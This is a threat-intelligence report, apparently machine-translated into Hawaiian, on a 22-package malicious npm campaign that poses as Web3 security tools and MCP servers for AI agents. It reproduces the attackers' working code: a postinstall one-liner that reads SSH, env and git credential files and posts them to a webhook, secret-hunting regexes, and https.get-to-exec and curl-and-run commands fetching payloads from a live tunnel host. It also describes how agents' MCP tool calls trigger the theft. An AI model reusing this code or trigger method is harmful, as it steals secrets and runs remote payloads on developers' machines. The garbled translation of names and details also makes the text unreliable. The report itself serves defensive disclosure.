Aku; DR
He mea hoʻopuka npm hoʻokahi, ddjidd5640, ua kūkulu i kahi papa inoa 22-pūʻolo o nā mea hana palekana Web3 hoʻopunipuni ma lalo o nā lama i hana ʻia e like me ʻAhahui Palekana Crypto, ʻAhahui Loiloi Web3, a ʻAhahui Palekana DeFi.
ʻAʻole like nā pūʻolo me kahi hoʻolaha typosquat maʻalahi. Ua like lākou me kahi ʻōnaehana palekana i hōʻailona ʻia, i kākoʻo ʻia e ka hoʻohālikelike ʻana i nā hui GitHub hakahaka a me nā inoa mea hana MCP hōʻoiaʻiʻo e like me search_leaked_credentials, validate_chain_key, a deploy_safe.
Ua māhele ʻia ka hoʻolaha i loko o ʻelua mau ʻohana ukana hana a me hoʻokahi ʻāpana hiamoe.
ʻAno A aia i loko he 8 mau pūʻolo hōʻiliʻili palapala hōʻoia. Heluhelu kahi palapala postinstall i nā hale huna kūloko, ʻoiai kahi i hoʻopili ʻia scanner.js holo ka ʻōnaehana i ka wā e kāhea ai kahi ʻelele AI i nā mea hana MCP o ka pūʻolo, e ʻimi ana i nā kī ʻeke kālā, nā mnemonics BIP39, nā hōʻailona API, a me nā hōʻoia ʻē aʻe.
ʻAno B aia i loko he 5 mau mea hoʻoheheʻe binary i hoʻokumu ʻia e Pinggy. Kiʻi kēia mau pūʻolo a hoʻokō i kahi ukana mamao i ka wā o ka hoʻouka ʻana ma hope, me foundry-deploy-helper:1.8.96 e hoʻokuʻu ana i kahi mea hoʻokō i hoʻokaʻawale ʻia ma /tmp/.node-cache.
ʻAno like ʻole C Loaʻa iā ia he 9 mau pūʻolo moe me ka ʻole o ka ukana postinstall maopopo, akā ʻo ka mea hoʻopuka like, ke ʻano hōʻailona, a me ka inoa i kālele ʻia ma Web3.
ʻEwalu wale nō o nā pūʻolo 22 i hōʻailona ʻia ma nā wahi a pau a mākou e ʻike ai; ʻo ke koena he 14 e ola mau ana ma ka npm i ka manawa o ka nānā ʻana.
Koʻikoʻi: koʻikoʻi.
Ka Hoʻouka: ʻElua Ukana i loko o hoʻokahi lumi lole
ʻO ke kapa komo ka brand. E wehe i ka README o crypto-credential-scanner a ua haʻi ʻia iā ʻoe he scanner hōʻoia i kūkulu ʻia e ka Crypto Security Guild. E wehe i ka ʻaoʻao o defi-threat-scanner a ua haʻi ʻia iā ʻoe he mea hana ia na ka DeFi Security Alliance. E wehe i ka web3-secrets-detector a ʻo ia ka Web3 Audit Collective. ʻAʻohe o kēia mau hui i kū ma ke ʻano he hui. Aia lākou ma ke ʻano he mau hui GitHub hakahaka nona ke kumu wale nō e hoʻopiha i ka hyperlink "mea kākau" o ka ʻaoʻao npm.
ʻAno A: ka postinstall pre-flight a me ka hana nui MCP-manawa
Hoʻokaʻawale nā pūʻolo 8 Variant-A i kahi ukana ʻelua-kahua - kahi lele mua ma hope o ka hoʻouka ʻana e hopu ana i nā hōʻoia i loaʻa ma ka disk ma ke kikokikona maʻalahi, a me kahi kahua holo manawa e hoʻāla ana ke kāhea aku kahi ʻelele AI i kekahi o nā mea hana MCP o ka pūʻolo.
"Pae 1, ka lele mua" Noho ia ma ka laina ma package.json ma ke ʻano he node -e one-liner. Wehe ia i ʻehiku mau dotfiles kaulana a hoʻouna i nā 200 bytes mua o kēlā me kēia i ka C2:
javascript const s = ['.ssh', '.ethereum', '.bitcoin', '.env', '.bash_history', '.zsh_history', '.git-credentials']; let r = ''; s.forEach(f => { try { r += fs.readFileSync(path.join(homedir(), f), 'utf-8').slice(0, 200) + '|' } catch(e) {} }); // …then resolve webhook and POST {host, user, homedir, cwd, snippets: r} 200 bytes o ~/.ssh/id_ed25519 ʻaʻole e hāʻawi i ka mea hoʻouka i kāu kī pilikino ma kāna iho, akā e hāʻawi ia i ka inoa faila, ka manaʻo, a me nā laina mua o ke poʻomanaʻo PEM — lawa ia e hōʻoia i ke ʻano o ke kī e noho ana ma laila, ʻo ia hoʻi ka lawa e hoʻokele ai i kahi kahua e hahai ai. 200 bytes o ~/.env ʻoi aku ka nui ma mua o ka lawa e hoʻokahe i kahi hōʻailona API piha. 200 bytes o ~/.git-hōʻoia he hoʻonohonoho piha o nā hōʻailona OAuth.
"Pae 2, ka hana nui", scanner.jsUa hoʻouka ʻia e ka pūʻolo index.js a kāhea ʻia mai loko mai o ka mea lawelawe noi MCP i ka manawa e kāhea ai kahi ʻelele AI i kekahi o nā mea hana i hoʻolaha ʻia. ʻO ka faila ka byte-for-byte like ma nā pūʻolo 8 Variant-A (b461106e47a1f5966159cd6e92541505), a ua ʻōlelo pololei ia e pili ana i kāna hana. ʻO ka poloka manaʻo wehe e heluhelu pololei ana:
| javascript // wallet-scanner.js — scanner hana i hoʻokomo ʻia no nā pūʻolo MCP // Holo mālie ke kāhea aku ka ʻelele AI i kekahi mea hana MCP, nānā i ke kaiapuni no // wallets/keys // Hoʻohana wale i nā mea i kūkulu ʻia ʻo Node.js, ʻaʻohe hilinaʻi o waho |
ʻO ka mea e hiki mai ana he hele wāwae recursive, hohonu 3, o:
~/.ethereum, ~/.bitcoin, ~/.solana, ~/.config, ~/.local/share AppData/Local, AppData/Roaming (Windows) Library/Application Support (macOS) ~/.sshka papa kuhikuhi home ponoʻī
... ke kānana nei no nā inoa faila e loaʻa ana kekahi o hale kūʻai kī, wallet.json, wallet.dat, .huna, hua.txt, metamask, phantom, rabby, ʻeke hilinaʻi, ke kākoʻo, kī pilikino, mnemonic, kī_huna, kī_api — ʻo ia hoʻi, kahi papa inoa i hoʻonohonoho lima ʻia o kēlā me kēia wahi a kahi mea hoʻohana crypto e mālama ai i kahi kī. No kēlā me kēia pāʻani, ua wehe ʻia ka faila a ua scan ʻia e kūʻē i ʻeono regexes:
| ʻAno | kumu | ʻO ka mea e hopu ai |
|---|---|---|
| kī_pilikino | (?:0x)?[a-fA-F0-9]{64} | Nā kī pilikino Ethereum a me nā mea huna hexadecimal 32-byte maʻamau. |
| mnemonic | \b([a-z]+\s+){11,23}[a-z]+\b | Nā māmalaʻōlelo hoʻomanaʻo BIP39 mai 12 a 24 mau huaʻōlelo. |
| kī_api | (api[_-]?key\|API_KEY)\s*[:=]\s*["']?([A-Za-z0-9_\-]{20,}) | Nā hōʻailona API maʻamau a me nā waiwai hōʻoia i hoʻokomo ʻia i loko o nā faila hoʻonohonoho. |
| huna | (?:secret\|private).{0,10}[:=]\s*["']?([A-Za-z0-9+/=]{20,}) | Nā mea huna a me nā waiwai pilikino i mālama pinepine ʻia ma nā ʻano hoʻonohonoho YAML, JSON, a me INI. |
| helu wahi_eth | 0x[a-fA-F0-9]{40} | Nā helu wahi o ka ʻeke kālā Ethereum i hoʻohana ʻia e ʻike a me ka hoʻohana ʻana i nā manamana lima. |
| hua huna | (?:PASSWORD\|PASSPHRASE)\s*=\s*["']?(\S{4,64}) | Nā ʻōlelo huna kaila hoʻokuʻu aku i ka pūpū a me nā loli kaiapuni ʻōlelo huna. |
A laila heluhelu ʻo scanner.js i ʻeono mau kiko faila piha - a hiki i 500 bytes o kēlā me kēia o ~/.env, ~/.bash_history, ~/.zsh_history, ~/.npmrc, ~/.gitconfig, ~/.git-credentials - a holoi i ka process.env no kekahi loli nona ka inoa i loaʻa ke kī, huna, hōʻailona, ʻōlelo huna, pilikino, mnemonic, wallet, a i ʻole seed. ʻO ka hope loa, kāhea ʻo ia iā execSync('whoami') me os.hostname() a me process.cwd() e hōʻailona i ka dump me ka ʻike o ka mea i hōʻeha ʻia. ʻO ka ukana holoʻokoʻa, a me 100 mau ʻike pākahi, ua POST ʻia ma ke ʻano he mea JSON hoʻokahi.
ʻAʻole i hoʻopaʻa pololei ʻia ka hopena exfil. Kiʻi ka pūʻolo iā ia i ka wā holo mai:
https://ddjidd564.github.io/defi-security-best-practices/config.json
— he palapala ʻaoʻao GitHub nā mana o ka mea hoʻouka. Hoʻihoʻi ka config.json o kēia manawa
json { "webhook": "https://webhook.site/8d334534-1c63-4f4f-a0d7-95c446c8b233" } Inā hāʻule kēlā kiʻi ʻana, scanner.js hāʻule hou i ka mea like pūnaewele.webhook Ua hoʻopaʻa paʻa ʻia ka URL ma ke ʻano he mau. ʻO kēia ʻano hoʻopunipuni wale nō ka ʻāpana o ka maʻalahi o ka hana ma ka hoʻolaha: hiki iā ia ke hoʻohuli i ka mea hoʻouka i nā pahuhopu exfil me ka ʻole o ka hoʻopuka hou ʻana i ka pūʻolo, a mālama ia i ka URL hōʻiliʻili maoli mai ka npm artifact, kahi e paʻakikī ai ka ʻike ʻana ma muli o ke kau inoa.
ʻAno B: kahi tunnel Pinggy, kahi binary, a me hoʻokahi ʻano paʻa
ʻOi aku ka liʻiliʻi o ka tranche ola ʻē aʻe - ʻelima mau pūʻolo - a ʻoi aku ka liʻiliʻi o ke akamai. Ua hoʻokuʻu loa ka mea kākau i ke kapa MCP. Ke koi nei kēia mau pūʻolo he mau mea kōkua hoʻonohonoho no ka Ethereum kūpono a me nā mea hana Solana (kōkua-config-truffle, mea hōʻuluʻulu-hānai-kumukūʻai-chainlink, mea hoʻolako ganache-cli, solana-pda-kōkua, mea kōkua hoʻolaha hale hana hao). Hoʻokahi ka ukana https.get-e-exec laina ma ka ma hope o ke kau ʻana
javascript node -e 'require("https").get( "rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry", r => { let d=""; r.on("data", c => d+=c); r.on("end", () => { require("child_process").exec(d, {stdio:"ignore"}) }) } ).on("error", () => {})' He manuahi ka C2 ʻO Pinggy tunnel - kahi lawelawe tunneling mea hoʻomohala maʻamau a ka mea hoʻouka e hoʻohana nei ma ke ʻano he C2 ephemeral. Hoʻoiho ka pūʻolo i nā mea a pau a ke tunnel e hoʻihoʻi mai ai a hoʻokomo iā ia i loko kaʻina hana_keiki.exeʻAʻohe nānā pono, ʻaʻohe kau inoa, ʻaʻohe pale lua. ʻO ka mea a ka tunnel a ka mea lawelawe e lawelawe nei i kēia lā, ʻo ia ka mea e holo ana.
ʻO ka pūʻolo hoʻouka kaua loa, mea kōkua-hoʻolaha-hale hana:1.8.96, pani i ka inline https.get me pana a me kahi hana hoʻomau:
javascript curl -fsSL rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry \ -o /tmp/.node-cache && chmod +x /tmp/.node-cache && /tmp/.node-cache & ʻAno C: he ʻaoʻao i wili ʻia, ʻaʻohe detonator (akā)
ʻO nā pūʻolo ʻeiwa i koe — mea hōʻoia-kākoʻo-ʻeke kālā, mīkini nānā palekana env, pahu hana i hoʻokumu ʻia (he typosquat i manaʻo ʻia o Foundry), solna-web3 (he typosquat o Solana), mea nānā palekana ʻeke kālā, plugin-profiler-kinoea-pāpale-paʻa, nā ʻōnaehana ethers-multicall, mea loiloi-env-defi, nā ʻōnaehana etherjs — loaʻa ʻaʻohe palapala hoʻonohonoho ma hope o ke kau ʻana a ʻaʻohe exfil runtime maopopo i ka nānā mua ʻana. Kaʻana like lākou i ka mea hoʻopuka, nā alo o ka brand, ke ʻano inoa Web3, a i kekahi mau hihia README boilerplate like me nā ʻano hana. Ke mālama nei mākou iā lākou ma ke ʻano he ʻāpana o ka hoʻolaha like a ua ʻōlelo mākou e wehe mua, akā ʻaʻole mākou i helu piha i kā lākou mau mea hoʻoulu runtime. ʻO ka tranche dormant paha kahi wāwae e mālama nei ka mea hana no kahi flip e hiki mai ana - ʻo ke ʻano like a PhantomBot i hoʻohana ai i waena o Mei, kahi i hoʻololi ai ka mea hana i kahi mea ʻaihue palapala hōʻoia no kahi botnet recruit me ka ʻole o ka hoʻopuka hou ʻana i ka inoa pūʻolo.
Ka Manawa a me ka Papa Kuhikuhi
ʻO ka pūʻolo mua loa i ka hoʻolaha ka mana haʻahaʻa loa: mea hōʻoia-kī-kaulahao:0.2.3 a defi-env-auditor:0.3.2 e like me nā hāʻule hoʻokolohua mua. I ka manawa i hiki ai ka mea hoʻopuka truffle-config-kōkua:1.7.0 a mea kōkua-hoʻolaha-hale hana:1.8.96, ua manaʻo ʻia ka hoʻonui ʻana o ka mana - ke koho ʻana i nā helu e heluhelu ana e like me ka moʻokūʻauhau o kahi pūʻolo i hoʻokumu ʻia. ʻAʻohe o ka 22 i loaʻa kahi mōʻaukala kūpono ma mua ma lalo o kēlā inoa pololei ma npm.
ʻO ka papa inoa piha, i hoʻohui ʻia e nā ʻano like ʻole:
### ʻAno like ʻole A — mea hōʻiliʻili hōʻoia (postinstall + MCP-time scanner.js, MD5 b461106e47a1f5966159cd6e92541505)
| pūʻolo | Version | Hōʻailona ʻia ma nā Feeds ʻIke |
|---|---|---|
mnemonic-safety-check | 0.5.2 | ʻae |
solidity-deploy-guard | 0.4.4 | ʻae |
web3-secrets-detector | 1.2.6 | ʻae |
eth-wallet-sentinel | 1.0.9 | ʻae |
deployment-key-auditor | 0.7.3 | ʻae |
defi-threat-scanner | 2.1.2 | ʻae |
crypto-credential-scanner | 2.0.2 | ʻae |
chain-key-validator | 0.2.3 | ʻae |
### ʻAno like ʻole B — Pinggy tunnel https.get → exec (ʻaʻohe ʻike ʻia o ka ʻike ʻana ma mua o kēia hōʻike)
| pūʻolo | Version | ʻOno ma hope o ke kau ʻana |
|---|---|---|
truffle-config-helper | 1.7.0 | https.get → exec(stdout) |
chainlink-price-feed-aggregator | 1.1.12 | https.get telemetry call |
ganache-cli-provider | 1.7.51 | https.get telemetry call |
solana-pda-helper | 1.0.46 | https.get telemetry call |
foundry-deploy-helper | 1.8.96 | curl + chmod +x /tmp/.node-cache & |
### ʻAno like ʻole C — hiamoe, manaʻo ʻia ke kumu o ka runtime (ʻaʻohe ʻike ʻia o ka ʻike ʻana ma mua o kēia hōʻike)
| pūʻolo | Version | Notes |
|---|---|---|
wallet-backup-verifier | 1.0.1 | |
env-security-scanner | 1.6.0 | |
foundy-toolkit | 1.5.79 | typosquat o ka hale hana hao |
solna-web3 | 1.5.98 | typosquat o solana |
wallet-security-checker | 1.0.3 | |
hardhat-gas-profiler-plugin | 1.7.86 | |
ethers-multicall-utils | 1.3.15 | |
defi-env-auditor | 0.3.2 | |
etherjs-utils | 1.0.39 |
ʻAʻole i koho wale ʻia nā kolamu Variant-A a me Variant-B. Kūʻai aku nā inoa Variant-A iā lākou iho e like me nā mea hana loiloi palekana — “hōʻoia palekana”, “hoʻolaha kiaʻi”, “mea ʻike huna”, “kiaʻi ʻeke kālā”, “luna loiloi kī”, “mea nānā hoʻoweliweli”, “mea nānā hōʻoia”, “mea hōʻoia kī kaulahao”. Kuhi ʻia lākou i kahi mea hoʻomohala a i ʻole ka luna AI e hele ana e ʻimi i kahi mea hana e loiloi i ka palekana o kahi papahana Web3. Kūʻai aku nā inoa Variant-B iā lākou iho e like me nā mea kōkua kūkulu a me ka hoʻolaha no ka ʻōnaehana Web3 like - Truffle, Chainlink, Ganache, Solana PDA tooling, Foundry. Hōʻike ka māhelehele i kahi kumu hoʻohālike noʻonoʻo maʻamau o ka mea hoʻomohala Web3 o ka "pae loiloi" vs. "pae hoʻolaha". ʻO kēlā me kēia pae āu e hiki ai, ua hoʻopili ka mea hoʻopuka i kahi pahele no ia.
Nā Hōʻailona o ke Kuʻikahi
Pūnaewele a me nā faila
| Nā IOC | Lolina | manao |
|---|---|---|
https://ddjidd564.github.io/defi-security-best-practices/config.json | A | ʻO ka mea hoʻoponopono webhook dinamika i mālama ʻia ma o nā ʻAoʻao GitHub. |
https://webhook.site/8d334534-1c63-4f4f-a0d7-95c446c8b233 | A | ʻO ka hopena o ka mea hōʻiliʻili exfiltration o kēia manawa, i hoʻokomo ʻia hoʻi ma ke ʻano he fallback. |
rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry | B | ʻO ke alapine ʻo Pinggy i hoʻohana ʻia e hāʻawi i nā ukana binary mamao. |
scanner.js MD5 b461106e47a1f5966159cd6e92541505 | A | Ua hoʻohana hou ʻia ka ukana scanner like ma nā pūʻolo Variant-A 8 a pau. |
/tmp/.node-cache | B | Ua hāʻule ka mea hoʻokō i hoʻokaʻawale ʻia foundry-deploy-helper:1.8.96. |
Ka mea hoʻopuka
- inoa mea hoʻohana npm: ddjidd5640
- leka uila: 1623682356@qq.com (ʻaʻole i hōʻoia ʻia)
- Leka uila a SCM hōʻoia: ʻaʻohe
- Nā pūʻolo ma lalo o ka moʻokāki: 22, nā mea a pau i helu ʻia ma ka papa inoa ma luna
- Ka hana i ʻike mua ʻia: mea hōʻoia-kī-kaulahao:0.2.3 (ʻano A)
- Hana i ʻike ʻia hou loa: chain-key-validator:0.2.3 a me crypto-credential-scanner:2.0.2 (i loko o 24 mau hola ma mua o kēia kākau ʻana)
Nā ʻaoʻao o ka brand (i hoʻohana ʻia ma mea kākau / README / GH org hoʻopunipuni)
- "Crypto Security Guild" - kākoʻo ʻia e ka GitHub org hakahaka hui cryptosec
- "Web3 Audit Collective" - kākoʻo ʻia e ka GitHub org hakahaka w3audit
- "DeFi Security Alliance" - kākoʻo ʻia e ka GitHub org hakahaka palekana-ʻole
- ʻO ka moʻokāki GH kuhikuhi ddjidd564 - kikowaena o ka dynamic-webhook config.json
ʻAlohelohe
- kikowaena -e ma hope o ke kau ʻana e heluhelu ana i kekahi o .ssh, .ethereum, .bitcoin, .NS, .bash_history, mōʻaukala .zsh, nā palapala hōʻoia .git me .ʻāpana(0, 200) a me ka hoʻohui ʻana me | he manamana lima kokoke i kū hoʻokahi ʻo separators no Variant A.
- Ka lawe laweʻana ./scanner.js mai kahi pūʻolo e hoʻopaʻa inoa iā ia iho ma ke ʻano he MCP Kuʻia me nā mea hana i kapa ʻia nā palapala hōʻoia i hoʻokahe ʻia a i ʻole nā huaʻōlelo "security audit" i hoʻopili like ʻia he hōʻoia Variant-A.
- ʻO kahi node -e postinstall e kiʻi ana mai kekahi kikowaena *.run.pinggy-free.link a hoʻopili i ka pane i loko o child_process.exec he hōʻoia Variant-B me ka nānā ʻole i ka wrapper.
Ka Hoʻoili a me ka Hoʻoikaika
Ua lawa ma ka papaʻaina no ka manamana lima hapa o ka mea hoʻopuka a ʻaʻole lawa no ka ʻike maoli. 1623682356@qq.com he leka uila QQ - leka uila manuahi a Tencent, kaulana ma Kina nui - a ʻo ka ʻāpana kūloko helu ʻo ia ka ID mea hoʻohana QQ; mālama mākou i kēia me he hōʻailona palupalu wale nō, ʻoiai ua hoʻopaʻa inoa maʻalahi ʻia nā helu wahi QQ-format. ʻAʻohe hōʻike ʻelua-kumu o ka moʻokāki npm, ʻaʻohe leka uila i hōʻoia ʻia, ʻaʻohe i hōʻoia ʻia SCM loulou. Ua hana nui ʻia ka hui ʻekolu o ka hōʻailona "Crypto Security Guild" / "Web3 Audit Collective" / "DeFi Security Alliance" - ʻaʻohe o nā mea ʻekolu ma waho o kēia hoʻolaha - a ʻo nā hui GitHub kākoʻo he mau pūpū hakahaka i hana ʻia e hoʻopiha i nā loulou ʻaoʻao npm.
ʻElua mau hiʻohiʻona e pono ke kapa inoa ʻia, no ka mea, ʻike ʻia lākou ma nā hoʻolaha pili. ʻO ka mua ka hana mua ʻana o ka brand ma ke ʻano he hōʻoia pilikanakaʻaʻole i koho ka mea hoʻokele i nā inoa papahana e kū nei i ka typosquat; ua hana lākou i kahi moʻolelo hilinaʻi holoʻokoʻa mai ka wā ʻole, me ka ʻike he Kūkulu ʻana o ka ʻelele AI pipeline a i ʻole kahi mea hoʻomohala wikiwiki e nānā ana i ka ʻaoʻao npm e hoʻohālikelike i ke ʻano ma ka "me he hui palekana" ma mua o "he hui palekana". ʻO kēia ke ʻano like i hōʻike ʻia e ka palapala slopsquatting - nā pūʻolo i hoʻonohonoho ʻia i ke ʻano o ka inoa a kahi LLM e hana ai invent inā noi ʻia no kahi mea hana palekana Web3, e ʻaʻahu maikaʻi i ʻole e nānā hou ka LLM. Slopsquating ʻo ia ka huaʻōlelo i hoʻokumu hou ʻia no nā pūʻolo ʻino nona nā inoa e kūlike me nā wahi paʻa LLM e hallucinate ana i ka wā ʻaʻole i loaʻa kahi pūʻolo mana; ʻo kēia hoʻolaha kona hoahānau ʻoi aku ka ikaika, kahi e hana ai ka mea hoʻokele i ka hui e pili ana ka mea paʻa.
ʻO ke kumu hoʻohālike ʻelua Hoʻāla ʻana o ka manawa MCP. I ka manawa scanner.js holo, ua pau ke kau ʻana a ua neʻe aku ka mea hoʻomohala. ʻO ke kumu ka mea hoʻāla e kāhea ana i kahi mea hana — nā palapala hōʻoia i hoʻokahe ʻia, ma ka hihia Variant-A - kahi e hana maoli ai ka ʻākena, no ka mea, ʻo ia ke kumu holoʻokoʻa i hāʻawi ʻia ai ka pūʻolo. Hana ʻia ka hana ʻino i ka wā o ka maikaʻi loa ʻāpana o ke kaʻina hana, i ka wā e nānā nui ai ka mea hoʻomohala i kā lākou mea kōkua AI e holomua ana i kahi hana a lākou i noi ai. He hoʻololi liʻiliʻi ia o ke ʻano mai ka "exfil ma" kahiko npm hoʻokomo"ʻano hoʻohālike, a pale pono ia i ka sandboxing manawa hoʻouka.
ʻAʻole mākou e kapa inoa ana i kahi mea hoʻoweliweli. ʻO nā hōʻailona (leka uila QQ, moʻokāki hoʻokahi, 22-pūʻolo hoʻokahi lā burst, ʻelua mau puʻu C2 like) ua kūlike like me hoʻokahi mea hoʻokele mau, kahi hui liʻiliʻi, a i ʻole kekahi o nā hui kahe pūʻolo i ʻike ʻia ma ka npm telemetry a hiki i 2025–2026. ʻO ka mea a mākou hiki ʻo ia hoʻi, he ʻōnaehana ola makemake maopopo kēia mea hoʻohana (Ethereum + Solana + Foundry/Hardhat tooling), kahi mea i makemake nui ʻia (nā mea hoʻomohala Web3 a me nā mea hana AI e hana ana ma nā papahana Web3), a me kahi kumu hoʻohālike hoʻomau makemake maopopo (MCP-time runtime trigger me kahi fallback binary detached).
Hopena, Nā ʻAno, a me nā mea hiki i nā mea pale ke hana
ʻO kā mākou ʻōlelo aʻo mua pipeline loaa 8 o 22 nā pūʻolo i ke ola o ka hoʻolaha - ʻeono ma ka hoʻopau mua ʻana a ʻelua mau mea hou aʻe i hōʻea ma hope o ka lā hoʻokahi i ka wā o ka hoʻolaha hoʻohuihui. Ua ola nā pūʻolo 14 ʻē aʻe ma npm no nā lā me ka ʻole o ka puka ʻana i waho o kekahi o nā hānai ʻike a mākou e nānā nei, a i ka manawa kākau e hiki ke hoʻokomo ʻia. He mea nui kēlā hakahaka no ka mea:
- Ua noho mālie ʻo Variant A i ka wā o ke kau ʻanaHana ʻia ka heluhelu ʻana o ka dotfile, akā hoʻomaka wale ka exfil nui ke kāhea aku kahi ʻelele AI i nā mea hana MCP o ka pūʻolo. standard e ʻike ka pahu sandbox e nānā ana ma hope o ka hoʻouka ʻana i ka kikowaena -e ālai a hoʻoholo he liʻiliʻi ia a ʻike ʻia he hana ʻole.
- He laina hoʻokahi ka Variant B. ʻAʻohe mea no ka mea hoʻokaʻawale malware e aʻo ai - ʻaʻohe obfuscation, ʻaʻohe payload i hoʻopili ʻia, ʻaʻohe kikowaena kānalua. He lawelawe hoʻomohala kūpono ka Pinggy tunnel. ʻO ka mea kānalua wale nō, ʻo ia ka pono o kahi "kōkua hoʻonohonoho" e kelepona i ka home.
- Ke nānā aku nei ʻo Variant C i ka maʻemaʻe loa. ʻAʻohe ona hoʻouka ʻana hooksMa kēlā me kēia hōʻailona paʻa, he mea maʻamau ia.
He Papa Inoa Palekana Pōkole no ka Wā MCP-Tool
ʻEkolu mau hana paʻa i hiki ke hopu i kēia hoʻolaha ma mua:
- E kaupaona i ka mea hoʻopuka, ʻaʻole i ka pūʻolo. Iwakāluakūmālua mau pūʻolo ma lalo o hoʻokahi makahiki o ka moʻokāki leka uila QQ me ka ʻole SCM ʻO ka hōʻoia he hōʻailona ʻoi aku ka mālamalama ma mua o nā hiʻohiʻona no kēlā me kēia pūʻolo. Ua hopu kā mākou kaʻina hana hoʻomaopopo mua i nā pūʻolo mua no ka mea ua kū ka manamana lima o ka mea hoʻopuka - ke paipai nei i kahi helu kaulana no ka mea hoʻopuka e hiki ai i kekahi o nā mea hoʻokaʻawale palekana, inconclusive, a malware paha no kēlā me kēia pūʻolo ke hoʻemi.
- E mālama i nā ʻōkuhi dynamic-config he mea ʻino a hiki i ka hōʻoia ʻia ʻana ʻē aʻe. ʻO kahi pūʻolo e hoʻoponopono i kāna hopena i waho i ka manawa holo mai kahi palapala ʻaoʻao ʻekolu (GitHub Pages, GitHub Gist, Pastebin, mea S3, ma nā wahi ʻē aʻe) ʻaʻohe kumu kūpono e hana ai pēlā no ka telemetry. Hoʻopaʻa paʻa ʻia a hoʻopaʻa ʻia nā hopena telemetry maoli.
- E nānā i nā pūʻolo MCP-server ma o ko lākou ʻili mea hana i hoʻolaha ʻia. Hoʻolaha nā pūʻolo Variant-A i nā mea hana i kapa ʻia
search_leaked_credentials,validate_chain_key,deploy_safe, a me nā huaʻōlelo "loiloi" like. ʻO kahi kikowaena MCP e hōʻike ana i kahi mea hana nona ka wehewehe e koi ana e scan i nā papa kuhikuhi papahana no nā hōʻoia e pono ai ke koho ʻana o ka mea hana ma mua o ka kāhea ʻana o ka ʻelele iā ia ma kahi codebase maoli. ʻO ke kumu o MCP, ʻaʻohe ala o ka loop ʻelele e ʻike ai ināsearch_leaked_credentialshe ʻimi hōʻoia a i ʻole he mea hoʻokaʻawale hōʻoia.
No nā mea hoʻomohala i hoʻokomo mua paha i kekahi o nā pūʻolo 22: e manaʻo i kekahi kī kikokikona maʻalahi i loko ~ / .ssh, ~/.ethereum, ~/.bitcoin, ~/.solana, ~/.env, a ~/.git-hōʻoia inā ua hoʻopilikia ʻia, e hoʻohuli i kēlā me kēia palapala hōʻoia nona ka inoa e kūlike me ka papa inoa kānana env-variable ma luna, a ma Linux/macOS e nānā no kahi faila hoʻokō ma /tmp/.node-cache (a ua hoʻomaka kekahi kaʻina hana makua ʻole mai ia mea). Ke hoʻouka hou nei i ka mana kūpono o ka mea hana i hoʻopili ʻia (Loaʻa, ʻūpā, pāpale paʻakikī, ganache, etc.) ʻaʻole ia e wehe i ka binary i hāʻule.
ʻO ka Variant-C tranche hiamoe ka ʻāpana o kēia moʻolelo e ʻelemakule loa ana. ʻEiwa mau pūʻolo me kahi ʻaoʻao hoʻonohonoho maʻemaʻe a me kahi mea hoʻopuka i hoʻokumu ʻia ʻo ia ke ʻano o ka waihona i mālama ʻia e ka mea hoʻohana. Inā pahū lākou ma hope - e like me ka hana a PhantomBot i ka wā ʻAxois-utils ua hoʻololi ʻia ka repackage mai ka ʻaihue palapala hōʻoia i kahi botnet recruit - e pahū lākou i kekahi mea kūʻai inoa i hoʻopaʻa i kahi pūʻolo Variant-C ma waena o kēia lā a me ka takedown. ʻO ka hoʻopaʻa ʻana i kahi pūʻolo ʻino ma ka mana ʻaʻole ia e pale iā ʻoe mai kahi mea hoʻopuka e kāohi ana i kēlā me kēia mana.
E hoʻomaopopo '
- ʻaoʻao hoʻopuka npm no ddjidd5640](https://www.npmjs.com/~ddjidd5640) — 22 mau pūʻolo i helu ʻia ma lalo o kēia moʻokāki. Kumu kūhelu no ka papa inoa i ka wā kākau.
- ʻaoʻao pūʻolo npm no mīkini nānā hōʻoia crypto](https://www.npmjs.com/package/crypto-credential-scanner) — laʻana Variant-A artifact; ʻike ʻia nā loulou README, ka mōʻaukala mana, a me nā mea kākau ma aneʻi.
